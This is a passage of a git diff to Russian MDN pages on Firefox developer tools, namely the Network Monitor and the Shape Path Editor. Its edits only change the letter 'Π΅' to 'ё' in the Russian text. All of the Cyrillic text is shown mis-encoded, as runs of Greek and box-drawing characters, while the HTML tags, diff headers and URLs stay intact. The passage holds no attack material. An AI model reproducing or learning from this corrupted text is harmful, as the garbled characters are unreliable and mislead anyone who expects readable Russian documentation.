инструмСнтов ΠΈΠ»ΠΈ ΠΎΡ‚Π»Π°ΠΆΠΈΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ†Π΅Π»ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ инструмСнтов Firefox.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Ρ‹ для Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ.</span> <span title="">ДополнСния Firefox ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ инструмСнтам Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π°ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ для Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… инструмСнтов ΠΈ добавлСния Π½ΠΎΠ²Ρ‹Ρ… инструмСнтов.</span> <span title="">Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΉ ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ свои собствСнныС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρ‹ ΠΈ сСрвСры ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ, Ρ‡Ρ‚ΠΎ позволяСт ΠΎΡ‚Π»Π°ΠΆΠΈΠ²Π°Ρ‚ΡŒ Π²Π΅Π±-сайты с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ собствСнных инструмСнтов ΠΈΠ»ΠΈ ΠΎΡ‚Π»Π°ΠΆΠΈΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ†Π΅Π»ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ инструмСнтов Firefox.</span></span></p>
<div class="twocolumns">
<dl>
diff --git a/files/ru/tools/network_monitor/index.html b/files/ru/tools/network_monitor/index.html
index 082d35be00..3d3db1dc5a 100644
--- a/files/ru/tools/network_monitor/index.html
+++ b/files/ru/tools/network_monitor/index.html
@@ -88,7 +88,7 @@ translation_of: Tools/Network_Monitor
<p>Начиная с Firefox 55, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ, кликая ΠΏΡ€Π°Π²ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ ΠΌΡ‹ΡˆΠΈ Π½Π° Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, Π° Π·Π°Ρ‚Π΅ΠΌ выбирая Π½ΡƒΠΆΠ½Ρ‹Π΅ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ Π² Π²Ρ‹ΠΏΠ°Π΄Π°ΡŽΡ‰Π΅ΠΌ мСню. ΠžΠΏΡ†ΠΈΡ "Π’ΠΎΡΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ" доступна для сброса списка ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ ΠΊ исходному Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρƒ. Бписок ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ:</p>
<ul>
- <li><strong>Бтатус (</strong><strong>Status</strong><strong>)</strong>: Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½Ρ‹ΠΉ HTTP-ΠΊΠΎΠ΄ статуса. Π—Π΄Π΅ΡΡŒ Π΅ΡΡ‚ΡŒ Ρ†Π²Π΅Ρ‚Π½ΠΎΠΉ Π·Π½Π°Ρ‡ΠΎΠΊ:
+ <li><strong>Бтатус (</strong><strong>Status</strong><strong>)</strong>: Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ HTTP-ΠΊΠΎΠ΄ статуса. Π—Π΄Π΅ΡΡŒ Π΅ΡΡ‚ΡŒ Ρ†Π²Π΅Ρ‚Π½ΠΎΠΉ Π·Π½Π°Ρ‡ΠΎΠΊ:
<ul>
<li><img alt="" src="https://mdn.mozillademos.org/files/13136/1x.png" style="height: 17px; width: 17px;">синий ΠΊΡ€ΡƒΠ³ - для ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… ΠΊΠΎΠ΄ΠΎΠ² (ΠΊΠΎΠ΄Ρ‹ 1XX). Π’ частности Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΠΊΠΎΠ΄ 101 (ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠ²) для <a href="/ru/docs/Web/API/WebSocket">WebSocket</a>-ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ.</li>
@@ -97,7 +97,7 @@ translation_of: Tools/Network_Monitor
<li><img alt="" src="https://mdn.mozillademos.org/files/10943/4-500.png" style="height: 17px; width: 17px;"> красный ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ - для ошибок (4XX ΠΈ 5XX)</li>
<li><img alt="" src="https://mdn.mozillademos.org/files/10947/cached.png" style="height: 17px; width: 17px;"> сСрая ΠΎΠΊΡ€ΡƒΠΆΠ½ΠΎΡΡ‚ΡŒ - для ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Ρ‹ ΠΈΠ· кэша Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</li>
</ul>
- Π’ΠΎΡ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ сразу послС Π·Π½Π°Ρ‡ΠΊΠ°.</li>
+ Π’ΠΎΡ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΡ‘Π½ сразу послС Π·Π½Π°Ρ‡ΠΊΠ°.</li>
<li><strong>ΠœΠ΅Ρ‚ΠΎΠ΄ (</strong><strong>Method</strong><strong>)</strong>: <a href="/ru/docs/Web/HTTP/Methods">HTTP-ΠΌΠ΅Ρ‚ΠΎΠ΄</a> запроса.</li>
<li><strong>Π€Π°ΠΉΠ» (</strong><strong>File</strong><strong>)</strong>: Π±Π°Π·ΠΎΠ²ΠΎΠ΅ имя Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π°.</li>
<li><strong>ΠŸΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»</strong> (<strong>Protocol</strong>): Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ сСтСвой ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ». (По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ скрытая ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ°. Новая Π² Firefox 55)</li>
@@ -459,7 +459,7 @@ translation_of: Tools/Network_Monitor
<p>НовоС в Firefox 54</p>
</div>
-<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ это ссылка для ΡƒΠ³Π»ΡƒΠ±Π»Π΅Π½Π½ΠΎΠ³ΠΎ изучСния <a href="/en-US/docs/Web/HTTP/Headers">Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² HTTP</a>.</p>
+<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ это ссылка для ΡƒΠ³Π»ΡƒΠ±Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ изучСния <a href="/en-US/docs/Web/HTTP/Headers">Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² HTTP</a>.</p>
<h3 id="ΠšΡƒΠΊΠΈ_Cookies">ΠšΡƒΠΊΠΈ <em>(Cookies)</em></h3>
diff --git a/files/ru/tools/page_inspector/how_to/edit_css_shapes/index.html b/files/ru/tools/page_inspector/how_to/edit_css_shapes/index.html
index 5e0e030b97..af51af53df 100644
--- a/files/ru/tools/page_inspector/how_to/edit_css_shapes/index.html
+++ b/files/ru/tools/page_inspector/how_to/edit_css_shapes/index.html
@@ -11,7 +11,7 @@ translation_of: Tools/Page_Inspector/How_to/Edit_CSS_shapes
---
<p>{{ToolsSidebar}}</p>
-<p class="summary">The Shape Path Editor - <span id="result_box" lang="ru"><span>это инструмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΈ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΠΈΠ³ΡƒΡ€Ρ‹, созданныС с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{cssxref ("clip-path")}}, Π° Ρ‚Π°ΠΊΠΆΠ΅ свойство CSS {{cssxref ("shape-outside")}} ΠΈ {{cssxref ("&lt;basic-shape&gt;")}}. Π’ этом руководствС Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ всС доступныС Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹.</span></span></p>
+<p class="summary">The Shape Path Editor - <span id="result_box" lang="ru"><span>это инструмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΈ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΠΈΠ³ΡƒΡ€Ρ‹, созданныС с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{cssxref ("clip-path")}}, Π° Ρ‚Π°ΠΊΠΆΠ΅ свойство CSS {{cssxref ("shape-outside")}} ΠΈ {{cssxref ("&lt;basic-shape&gt;")}}. Π’ этом руководствС Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ всС доступныС Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹.</span></span></p>
<h2 id="Активация_дСактивация_Shape_Path_Editor">Активация / дСактивация Shape Path Editor</h2>
@@ -23,14 +23,14 @@ translation_of: Tools/Page_Inspector/How_to/Edit_CSS_shapes
<p><img alt="" src="https://mdn.mozillademos.org/files/15916/circle.png" style="height: 686px; width: 1210px;"></p>
-<p><span id="result_box" lang="ru"><span>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ </span></span>Shape Path Editor<span lang="ru"><span>, Ρ‰Π΅Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΏΠΎ ΠΈΠΊΠΎΠ½ΠΊΠ΅ Π΅Ρ‰Π΅ Ρ€Π°Π· ΠΈΠ»ΠΈ Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Π΄Ρ€ΡƒΠ³ΠΎΠΉ элСмСнт ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€.</span> <span>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ </span></span>Shape Path Editor<span lang="ru"><span> Π½Π΅ сохраняСтся ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΎΠΉ страницы - Ссли Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ страницу, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ снова Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ элСмСнт.</span></span></p>
+<p><span id="result_box" lang="ru"><span>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ </span></span>Shape Path Editor<span lang="ru"><span>, Ρ‰Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΏΠΎ ΠΈΠΊΠΎΠ½ΠΊΠ΅ Π΅Ρ‰Ρ‘ Ρ€Π°Π· ΠΈΠ»ΠΈ Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Π΄Ρ€ΡƒΠ³ΠΎΠΉ элСмСнт ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€.</span> <span>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ </span></span>Shape Path Editor<span lang="ru"><span> Π½Π΅ сохраняСтся ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΎΠΉ страницы - Ссли Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ страницу, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ снова Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ элСмСнт.</span></span></p>
<h2 id="ПониманиС_строк_нарисованных_Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ΠΎΠΌ"><span class="short_text" id="result_box" lang="ru"><span>ПониманиС строк, нарисованных Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ΠΎΠΌ</span></span></h2>
<p><span id="result_box" lang="ru"><span>ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ Π²Ρ‹Π±Ρ€Π°Π»ΠΈ Ρ„ΠΈΠ³ΡƒΡ€Ρƒ Π½Π° своСй страницС, Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ ΠΏΡƒΡ‚Π΅ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Π»ΠΈΠ½ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ ΠΏΠΎΠ½ΡΡ‚ΡŒ ΠΏΡƒΡ‚ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаСтся.</span></span></p>
<ul>
- <li><strong>Бплошная линия</strong><span lang="ru"><span> ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΊΠΎΠ½Ρ‚ΡƒΡ€ Ρ„ΠΈΠ³ΡƒΡ€Ρ‹, которая ΠΎΠ±Π΅Ρ€Ρ‚Ρ‹Π²Π°Π΅Ρ‚ тСкст.</span> <span>Π­Ρ‚ΠΎ ваша Ρ„ΠΎΡ€ΠΌΠ°.</span> <span>Если Ρ„ΠΎΡ€ΠΌΠ° обрСзаСтся ΠΏΠΎ </span></span>margin box<span lang="ru"><span>, Ρ‚ΠΎ </span></span>margin box<span lang="ru"><span> Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ Ρ‡Π°ΡΡ‚ΡŒ этой строки.</span></span></li>
+ <li><strong>Бплошная линия</strong><span lang="ru"><span> ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΊΠΎΠ½Ρ‚ΡƒΡ€ Ρ„ΠΈΠ³ΡƒΡ€Ρ‹, которая ΠΎΠ±Ρ‘Ρ€Ρ‚Ρ‹Π²Π°Π΅Ρ‚ тСкст.</span> <span>Π­Ρ‚ΠΎ ваша Ρ„ΠΎΡ€ΠΌΠ°.</span> <span>Если Ρ„ΠΎΡ€ΠΌΠ° обрСзаСтся ΠΏΠΎ </span></span>margin box<span lang="ru"><span>, Ρ‚ΠΎ </span></span>margin box<span lang="ru"><span> Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ Ρ‡Π°ΡΡ‚ΡŒ этой строки.</span></span></li>
<li><span id="result_box" lang="ru"><span><strong>ΠŸΡƒΠ½ΠΊΡ‚ΠΈΡ€Π½Π°Ρ линия</strong> дСмонстрируСт ΠΊΠΎΠ½Ρ‚ΡƒΡ€ Ρ„ΠΎΡ€ΠΌΡ‹, которая ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ ΠΌΠΈΠΌΠΎ ссылки </span></span>margin box<span lang="ru"><span>;</span></span> <span id="result_box" lang="ru"><span>это ΠΎΠ±Π»Π°ΡΡ‚ΡŒ, которая Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ€Π΅Π·Π°Π½Π° ΠΏΠΎΒ </span></span>margin box. <span id="result_box" lang="ru"><span>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΡΡ‚ΡŒ </span></span>margin box<span lang="ru"><span> ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ поля, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Ρ„ΠΎΡ€ΠΌΡƒΠ»ΠΎΠΉ CSS, см.</span></span> <a href="/en-US/docs/Web/CSS/CSS_Shapes/From_box_values">Shapes from box values</a>.</li>
</ul>
@@ -42,11 +42,11 @@ translation_of: Tools/Page_Inspector/How_to/Edit_CSS_shapes
<h3 id="circle()">circle()</h3>
-<p><span id="result_box" lang="ru"><span>Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</span></span> <code>shape-outside</code> <span id="result_box" lang="ru"><span>Ρ€Π°Π²Π½ΠΎ</span></span> <code>circle()</code>, Π·Π½Π°Ρ‡ΠΈΡ‚ <span id="result_box" lang="ru"><span>Π²Ρ‹ создаСтС </span></span><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Shapes/Basic_Shapes#circle()">circle basic shape</a>. <span id="result_box" lang="ru"><span>ΠŸΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π° ΠΈΠΊΠΎΠ½ΠΊΡƒ Ρ„ΠΎΡ€ΠΌΡ‹ рядом со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ</span></span> <code>circle()</code> <span id="result_box" lang="ru"><span>Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π΄Π΅Π»Π΅Π½Π° Ρ„ΠΈΠ³ΡƒΡ€Π°, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΡ€ΡƒΠ³Π° ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ Π΅Π³ΠΎ Ρ†Π΅Π½Ρ‚Ρ€.</span></span> <span id="result_box" lang="ru"><span>Если Π²Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅Ρ‚Π΅ ΠΈΠ»ΠΈ измСняСтС Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΡ€ΡƒΠ³Π° Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ поля, края становятся ΠΎΠ±Ρ€Π΅Π·Π°Π½Ρ‹ ΠΈΠΌ.</span></span></p>
+<p><span id="result_box" lang="ru"><span>Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</span></span> <code>shape-outside</code> <span id="result_box" lang="ru"><span>Ρ€Π°Π²Π½ΠΎ</span></span> <code>circle()</code>, Π·Π½Π°Ρ‡ΠΈΡ‚ <span id="result_box" lang="ru"><span>Π²Ρ‹ создаётС </span></span><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Shapes/Basic_Shapes#circle()">circle basic shape</a>. <span id="result_box" lang="ru"><span>ΠŸΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π° ΠΈΠΊΠΎΠ½ΠΊΡƒ Ρ„ΠΎΡ€ΠΌΡ‹ рядом со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ</span></span> <code>circle()</code> <span id="result_box" lang="ru"><span>Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π΄Π΅Π»Π΅Π½Π° Ρ„ΠΈΠ³ΡƒΡ€Π°, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΡ€ΡƒΠ³Π° ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ Π΅Π³ΠΎ Ρ†Π΅Π½Ρ‚Ρ€.</span></span> <span id="result_box" lang="ru"><span>Если Π²Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅Ρ‚Π΅ ΠΈΠ»ΠΈ измСняСтС Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΡ€ΡƒΠ³Π° Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ поля, края становятся ΠΎΠ±Ρ€Π΅Π·Π°Π½Ρ‹ ΠΈΠΌ.</span></span></p>
<p><img alt="" src="https://mdn.mozillademos.org/files/15917/clipped-margin-box.png" style="height: 692px; width: 1290px;"></p>
-<p><span id="result_box" lang="ru"><span>Π’ ΠΏΠ°Π½Π΅Π»ΠΈ ΠΏΡ€Π°Π²ΠΈΠ» Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ значСния для</span></span> <code>circle()</code> <span id="result_box" lang="ru"><span>ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ Ρ„ΠΎΡ€ΠΌΡ‹.</span> <span>Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ эти значСния ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π² Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ, ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡ‹.</span></span></p>
+<p><span id="result_box" lang="ru"><span>Π’ ΠΏΠ°Π½Π΅Π»ΠΈ ΠΏΡ€Π°Π²ΠΈΠ» Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ значСния для</span></span> <code>circle()</code> <span id="result_box" lang="ru"><span>ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ Ρ„ΠΎΡ€ΠΌΡ‹.</span> <span>Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ эти значСния ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π² Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ, ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡ‹.</span></span></p>
<h3 id="ellipse()">ellipse()</h3>
@@ -64,23 +64,23 @@ translation_of: Tools/Page_Inspector/How_to/Edit_CSS_shapes
<h3 id="polygon()">polygon()</h3>
-<p><span id="result_box" lang="ru"><span>Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</span></span> <code>shape-outside</code> <span id="result_box" lang="ru"><span>Ρ€Π°Π²Π½ΠΎ</span></span> <code>polygon()</code><span id="result_box" lang="ru"><span>, Π·Π½Π°Ρ‡ΠΈΡ‚ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅</span></span> <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Shapes/Basic_Shapes#polygon()">polygon basic shape</a>. <span id="result_box" lang="ru"><span>Π­Ρ‚ΠΎ самый слоТный ΠΈΠ· основных Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Ρ„ΠΎΡ€ΠΌΡ‹, поэтому инструмСнт Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ большС возмоТностСй ΠΏΡ€ΠΈ ΠΈΡ… Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ:</span></span></p>
+<p><span id="result_box" lang="ru"><span>Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</span></span> <code>shape-outside</code> <span id="result_box" lang="ru"><span>Ρ€Π°Π²Π½ΠΎ</span></span> <code>polygon()</code><span id="result_box" lang="ru"><span>, Π·Π½Π°Ρ‡ΠΈΡ‚ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅</span></span> <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Shapes/Basic_Shapes#polygon()">polygon basic shape</a>. <span id="result_box" lang="ru"><span>Π­Ρ‚ΠΎ самый слоТный ΠΈΠ· основных Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Ρ„ΠΎΡ€ΠΌΡ‹, поэтому инструмСнт Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ большС возмоТностСй ΠΏΡ€ΠΈ ΠΈΡ… Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ:</span></span></p>
<ul>
